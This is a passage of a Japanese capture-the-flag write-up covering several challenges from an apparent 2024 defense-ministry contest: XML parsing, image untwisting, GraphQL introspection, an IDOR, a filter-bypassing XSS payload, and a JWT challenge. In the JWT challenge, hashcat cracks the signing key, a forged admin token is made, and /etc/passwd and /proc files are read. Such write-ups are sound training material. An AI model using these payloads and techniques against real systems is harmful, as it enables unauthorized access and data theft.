icecream:flavor="strawberry" icecream:amount="94.1164575g" icecream:shape="sphere" /> <sweets:icecream icecream:id ="0xB9F4B823" icecream:flavor="strawberry" icecream:amount="91.8668061g" icecream:shape="sphere" /> <sweets:candy candy:id ="0x8C55D4CE" candy:kind="coffee" candy:weight="3.9366492g" candy:shape="tetrahedron" /> <sweets:candy candy:id ="0x9D8BBA94" candy:kind="soda" candy:weight="3.7906460g" candy:shape="octahedron" /> <sweets:candy candy:id ="0xB81F4174" candy:kind="coffee" candy:weight="3.3636170g" candy:shape="sphere" /> <sweets:cookie cookie:id ="0xFB7C6DE7" cookie:kind="checker" cookie:radius="3.2564663cm" >flag{TkzPn3ZKL28zJXn7}</sweets:cookie> <sweets:cookie cookie:id ="0x26C3166A" cookie:kind="icing" cookie:radius="3.0929699cm" >flag{MbfkAZTVpc6bMrz9}</sweets:cookie> </sweets:batch>
割と良いコードを書いてくれたのだが、namespaceの部分が正しくなかったので手修正。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import lxml.etree as ETdef parse_sweets (file ): tree = ET.parse(file) root = tree.getroot() max_radius = 0 max_cookie = None for batch in root.findall(".//sweets:batch" , root.nsmap): icecreams = batch.findall(".//sweets:icecream" , root.nsmap) candies = batch.findall(".//sweets:candy" , root.nsmap) cookies = batch.findall(".//sweets:cookie" , root.nsmap) if len (icecreams) < 2 : continue if any ( float ( ic.get("{http://xml.vlc-cybercontest.com/icecream}amount" ).rstrip("g" ) ) < 105 for ic in icecreams ): continue if ( sum ( float ( c.get("{http://xml.vlc-cybercontest.com/candy}weight" ).rstrip("g" ) ) for c in candies ) < 28.0 ): continue if ( len ( set ( c.get("{http://xml.vlc-cybercontest.com/candy}shape" ) for c in candies ) ) < 5 ): continue for cookie in cookies: if cookie.get("{http://xml.vlc-cybercontest.com/cookie}kind" ) == "icing" : radius = float ( cookie.get("{http://xml.vlc-cybercontest.com/cookie}radius" ).rstrip( "cm" ) ) if radius >= 3.0 : [ print (ET.tostring(cookie, encoding="unicode" )) for cookie in cookies ] parse_sweets("sweets.xml" )
↓の実行結果を上から試すとフラグだった。
1 2 3 4 5 6 7 8 % python solve.py <sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id ="0x6937BAA7" cookie:kind="languedechat" cookie:radius="3.1418079cm" >flag{sZ8d5FbntXbL9uwP}</sweets:cookie> <sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id ="0x19A83890" cookie:kind="checker" cookie:radius="3.0552874cm" >flag{QxNFv5q9gtnvaXEc}</sweets:cookie> <sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id ="0xB43E03AC" cookie:kind="icing" cookie:radius="3.1110701cm" >flag{YXBbN3zpqxJy8CvA}</sweets:cookie> <sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id ="0x9F045677" cookie:kind="checker" cookie:radius="3.0090029cm" >flag{28j3vnedw7BELQxU}</sweets:cookie>
Twisted Text
Copilot〜〜〜
1 2 3 4 5 6 Twisted.png をピクセルごとに処理して、fixed-Twisted.png を作って保存してください。 ただし、 Twisted.png は、画像の中心からの距離 r [pixel] に対して θ = - (r ^ 2 ) / (250 ^ 2 ) [rad] だけ回転されています(反時計回りを正とします)。逆変換を施して fixed-Twsited.png を作ってください。
まあまあなコードを書いてくれたが、座標回転の式を間違えていたりした。修正したのが↓
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from PIL import Imageimport numpy as npdef rotate_image (image_path, output_path ): img = Image.open (image_path) width, height = img.size pixels = np.array(img) new_pixels = np.zeros_like(pixels) center_x, center_y = width / 2 , height / 2 for y in range (height): for x in range (width): dx, dy = x - center_x, y - center_y r = np.sqrt(dx**2 + dy**2 ) theta = -(r**2 ) / (250 **2 ) new_x = center_x + (x - center_x) * np.cos(theta) - (y - center_y) * np.sin(theta) new_y = center_y + (x - center_x) * np.sin(theta) + (y - center_y) * np.cos(theta) if 0 <= new_x < width and 0 <= new_y < height: new_pixels[int (new_y), int (new_x)] = pixels[y, x] new_img = Image.fromarray(new_pixels) new_img.save(output_path) rotate_image("Twisted.png" , "fixed-Twisted.png" )
出力画像は↓
Trivia The Original Name of AES
CVE Record of Lowest Number
ググると、CVEは1999年から始まった模様。ということは CVE-1999-0001 かな?
https://nvd.nist.gov/vuln/detail/CVE-1999-0001
ありました。exploitがありそうなリンクを辿ると↓を発見。
https://ftp.openbsd.org/pub/OpenBSD/patches/2.3/common/tcpfix.patch
パッチ中のファイル名から、
MFA Factors
あーあれでしょ?あれあれ
なんかうろ覚え… ググって回答。
Web Browsers Have Local Storage
/
から読まれているJSファイルにフラグあり。
⛳ FLAG{Th1s_1s_The_fIrst_flag}
Are You Introspective?
Burp Suite Certified Practitioner 資格の練習で死ぬほどやった。
Fuzz: Information disclosure / Access control / GraphQL (hidden api) / JWT / OAuth - Notion
ここのエンドポイント候補をBurp Intruderでバババと試すと、 /v1/graphql
でいい感じのレスポンスが返ってくる。
ブラウザでアクセスすると、勝手にイントロスペクションクエリをPOSTで投げてくれる。Graphi QLのJSがやってくれてるのかな?
POSTのレスポンスにフラグが含まれている。
⛳ FLAG{Is_this_your_first_time_using_GraphQL}
Insecure
まずは与えられた testUser でログイン。
ポチポチやって、プロフィールを表示。こんな感じのリクエスト→レスポンス。
無邪気に id=0
とやってRepeatすると、 profile_error.php
にリダイレクトされてしまう。
(色々試行錯誤してふと気づく)これ、失敗はしても profile_success.php
は裏側の処理で生成されているのでは?ユーザーごとにスコーピングしてないかも。と思い至る。
ビンゴ。
ボディの下の方にフラグがある(個人情報に見える文字列見えちゃうので上だけ切り出した)。
Variation (解けなかった 😭)
<
と >
が消されてしまうので、JSを書ける文脈に持ち込めない。全角の <
など色々試すがうまくいかず。
防衛省サイバーコンテスト 2024 writeup - st98 の日記帳 - コピー
のwriteup見ると、UTF-8ということで3バイト総当たりしている。賢い…
﹤
と ﹥
が使える模様。
http://10.10.10.32/greet?name=﹤script﹥alert(1)﹤/script﹥
でフラグゲット。
Bruteforce
好きな問題。
:8000 の方はBasic認証の手がかりがないので、 :5000 の方をソースから見てみる。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from flask import Flaskfrom flask import jsonifyfrom flask import requestfrom flask_jwt_extended import create_access_tokenfrom flask_jwt_extended import get_jwt_identityfrom flask_jwt_extended import jwt_requiredfrom flask_jwt_extended import JWTManagerapp = Flask(__name__) app.config["JWT_SECRET_KEY" ] = "*************" app.config["JWT_ACCESS_TOKEN_EXPIRES" ] = False app.config["JWT_REFRESH_TOKEN_EXPIRES" ] = False app.config["JWT_COOKIE_CSRF_PROTECT" ] = False app.config["JWT_ENCODE_NBF" ] = False jwt = JWTManager(app) @app.route("/login" , methods=["POST" ] ) def login (): users = {} users['test' ] = 'test' users['admin' ] = '*************' username = request.json.get("username" , None ) print (username) password = request.json.get("password" , None ) print (password) if (not username in users) or (password != users[username]): return jsonify({"msg" : "Bad username or password" }), 401 access_token = create_access_token(identity=username) return jsonify(access_token=access_token) @app.route("/protected" , methods=["POST" ] ) @jwt_required() def protected (): current_user = get_jwt_identity() if current_user == "test" : return "ummm...." elif current_user == "admin" : filepath = request.json.get("filepath" ,None ) f = open (filepath,'r' ) filedata = f.read() f.close() return jsonify(filedata), 200 if __name__ == "__main__" : app.run(host="0.0.0.0" )
JWT問題とわかる。とりえあず test:test
でログインできそうなのでリクエスト。
JWTのアクセストークンがもらえた。これを Authorization ヘッダに使って /protected
にアクセスしてみる。
ソースから期待されるように、 ummmm してもらった。
JWTの中身はこんな感じ。
[server] JWT attacks - Notion にまとめたいろいろな攻撃を試すが、問題タイトル的にも本命は Exploit: 秘密鍵にbrute force / 辞書攻撃 - Notion 。
先ほど得た test:test
のJWTで秘密鍵を探す。
1 2 % hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0OTA1NSwianRpIjoiMGZkY2NlZjQtZmFmNi00ZjQ1LThiODgtNWU4Y2VhMWZhOTlkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.G5nYLH6uv37IdJRGw9FFrDBa_TBGliO4dlKsFvEVzcQ' /usr/share/wordlists/rockyou.txt --show eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0OTA1NSwianRpIjoiMGZkY2NlZjQtZmFmNi00ZjQ1LThiODgtNWU4Y2VhMWZhOTlkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.G5nYLH6uv37IdJRGw9FFrDBa_TBGliO4dlKsFvEVzcQ:conankun
conankun
がキー。
これ使って、 "sub"
を admin
に変えたJWTを作って送信するも、500…
改めてコードを読むと、リクエストボディのJSONに filepath
を指定しないと確かにサーバーエラーになりそう。
しかしフラグのpathがわからない。
一旦 {"filepath": "/etc/passwd"}
とかにすると、ちゃんと中身がレスポンスされる。
ファイルreadからフラグパス情報収集となると、うーん /proc/self/
使えるかなぁ。
/proc/self/cmdline
から :5000 のサーバーのコードの場所がわかり、
それを読むことで本物の admin
のパスワードが EyS9$Ww4nhx)
であることが追加でわかったりしたが、特に正解に近づくものではなかった。
他のプロセスも見るかということで、 /proc/1/cmdline
から眺める。
お、supervisord.confが気になる。
なんかパスワードある!これが :8000 のbasic認証のパスワードだった。Basic認証突破するとフラグがディレクトリ名になっていた。